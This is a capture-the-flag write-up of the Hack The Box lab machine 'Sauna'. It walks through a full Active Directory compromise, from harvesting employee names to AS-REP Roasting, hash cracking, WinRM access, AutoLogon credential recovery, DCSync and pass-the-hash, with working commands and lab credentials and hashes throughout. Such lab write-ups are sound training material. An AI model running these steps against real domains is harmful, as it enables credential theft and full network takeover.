Web OSINT. AS-REP Roast.
AutoLogon. DCSync.
Full Domain Gone.

The Machine

Sauna is a Windows Domain Controller hosting the Egotistical Bank web application. The intended path chains three misconfigurations: employee names exposed on a public website become the username wordlist, AS-REP Roasting on an account with pre-authentication disabled gives the initial foothold, and a Windows AutoLogon registry entry exposes a second account whose DCSync rights were pre-assigned in Active Directory.

The machine shares the core AS-REP Roasting attack with Forest, but the enumeration phase is fundamentally different. Where Forest exposed the full user list via RPC null session, Sauna blocks null sessions entirely. The only way in is through the web application. That difference is the main teaching point of this box.

Enumeration

$ nmap -sC -sV --min-rate 1000 -oA sauna 10.129.95.180

Ports 53, 88, and 389 confirm this is a Domain Controller. Port 5985 is WinRM, which is the target shell vector. Port 80 is running Microsoft IIS 10.0 with the title "Egotistical Bank". A web application on a DC is always worth browsing before jumping to AD attacks.

Web Application: Employee Name Harvesting

The web application is a static bank site. Browsing to the Meet The Team page reveals six employee names listed publicly with photos.

Fergus Smith
Hugo Bear
Steven Kerb
Shaun Coins
Bowie Taylor
Sophie Driver

RPC Null Session: Blocked

Unlike Forest, this machine does not allow unauthenticated RPC enumeration.

$ rpcclient -U "" -N 10.129.95.180
rpcclient $> enumdomusers

result was NT_STATUS_ACCESS_DENIED

Null sessions are blocked. The web app employee names are the only username source available without credentials.

Username Generation

AD environments typically follow one naming convention across all accounts. The most common formats in enterprise environments are firstinitial+lastname, first.last, and firstlast. All three variations were generated for each employee and combined into a single wordlist.

fsmith, hbear, skerb, scoins, btaylor, sdriver
fergus.smith, hugo.bear, steven.kerb ...
fergussmith, hugobear, stevenkerb ...

AS-REP Roasting: Capturing fsmith

With the username wordlist ready, the next step is to test every account for AS-REP Roastability. Accounts with UF_DONT_REQUIRE_PREAUTH set will respond to an AS-REQ with an AS-REP containing a portion of ciphertext encrypted with their password hash. That ciphertext can be cracked offline.

$ impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ \
  -usersfile users.txt \
  -dc-ip 10.129.95.180 \
  -no-pass \
  -format hashcat

fsmith returned a hash. All other accounts in the wordlist were either valid but pre-auth enabled, or did not exist in the domain. The fsmith format (first initial + last name) is the naming convention used across EGOTISTICAL-BANK.LOCAL.

Hash Cracking: Thestrokes23

$ hashcat -m 18200 sauna_hash.txt /usr/share/wordlists/rockyou.txt --force

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:...:Thestrokes23

Mode 18200 is Kerberos AS-REP. The password is in rockyou.txt and cracks immediately. Credentials: fsmith : Thestrokes23.

Initial Access: Shell as fsmith

With valid credentials and WinRM open on port 5985, a remote shell is one command away.

$ evil-winrm -i 10.129.95.180 -u fsmith -p Thestrokes23

*Evil-WinRM* PS C:\Users\FSmith\Documents>

Shell as fsmith. User flag on the Desktop.

*Evil-WinRM* PS C:\Users\FSmith\Documents> type C:\Users\fsmith\Desktop\user.txt

Privilege Escalation

WinPEAS: AutoLogon Credentials in Registry

Standard Windows privilege escalation enumeration. WinPEAS covers SUID equivalents, scheduled tasks, service permissions, registry keys, and AutoLogon credentials. The AutoLogon section is critical to check on every Windows foothold.

*Evil-WinRM* PS> upload /usr/share/peass/winpeas/winPEASx64.exe
*Evil-WinRM* PS> .\winPEASx64.exe

Looking for AutoLogon credentials
  DefaultUserName : EGOTISTICALBANK\svc_loanmanager
  DefaultPassword : Moneymakestheworldgoround!

BloodHound: DCSync Rights Pre-Assigned

With a second set of credentials, the next step is BloodHound to map the privilege path from svc_loanmgr to Domain Admin.

$ bloodhound-python \
  -u fsmith -p Thestrokes23 \
  -d EGOTISTICAL-BANK.LOCAL \
  -dc sauna.EGOTISTICAL-BANK.LOCAL \
  -ns 10.129.95.180 \
  -c all

BloodHound pathfinding shows no chain from svc_loanmgr to Domain Admin. This does not mean dead end. Expanding the Outbound Object Control section on the svc_loanmgr node reveals the critical detail:

svc_loanmgr holds GetChanges and GetChangesAll on the EGOTISTICAL-BANK.LOCAL domain object. These are the exact two rights required to perform DCSync. No ACL manipulation needed. The rights are already assigned.

DCSync: All Domain Hashes

With GetChanges and GetChangesAll confirmed, run impacket-secretsdump as svc_loanmgr to replicate all domain credentials.

$ impacket-secretsdump \
  EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.95.180

[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:...
krbtgt:502:...

Full domain credential dump in seconds. Administrator NTLM: 823452073d75b9d1cf70ebdf86c7f98e. No need to crack. Pass the Hash authenticates directly.

Pass the Hash: Administrator

$ evil-winrm -i 10.129.95.180 \
  -u Administrator \
  -H 823452073d75b9d1cf70ebdf86c7f98e

*Evil-WinRM* PS C:\Users\Administrator\Documents>

Attack Chain

Vulnerabilities Found

Lessons Learned

• A web app on a DC is a username harvesting opportunity. When port 80 is open on a Domain Controller, do not skip it. Every About Us, Meet The Team, or Contact page is a potential username source. On Sauna, the web app was the only path to a username list because RPC null sessions were blocked.
• Generate multiple username format variations. AD environments differ. The same person may be fsmith, fergus.smith, or fergussmith depending on the organization. Always test all common formats. If you only try one and it does not match, you miss the account entirely.
• WinPEAS AutoLogon is high value, never skip it. AutoLogon credentials are stored in plaintext in the Windows registry. WinPEAS highlights this section clearly. The moment you see AutoLogon output, that is the next account to pivot to. The registry username may differ slightly from the real AD username, so always verify.
• BloodHound path not found does not mean dead end. When no path exists from your account to DA, check Outbound Object Control manually on the node. On Sauna, svc_loanmgr had no BloodHound path to DA but held direct DCSync rights on the domain object. Pathfinding finds chains, not direct rights.
• GetChanges and GetChangesAll mean DCSync, full stop. These two replication rights are all you need to dump every credential in the domain. You do not need Domain Admin or any ACL modification. If BloodHound shows these rights on your account against the domain object, run secretsdump immediately.
• Sauna skips the ACL manipulation step that Forest requires. Forest needed WriteDACL and PowerView to grant DCSync rights. Sauna had them pre-assigned. On the exam, always check existing rights before trying to grant new ones. Existing rights are faster and leave fewer traces.
• Pass the Hash is always the first move with an NTLM hash. Once you have the Administrator NTLM hash from DCSync, use evil-winrm with the -H flag immediately. NTLM hashes authenticate directly. Only attempt cracking if PtH is blocked or you need the plaintext for another service.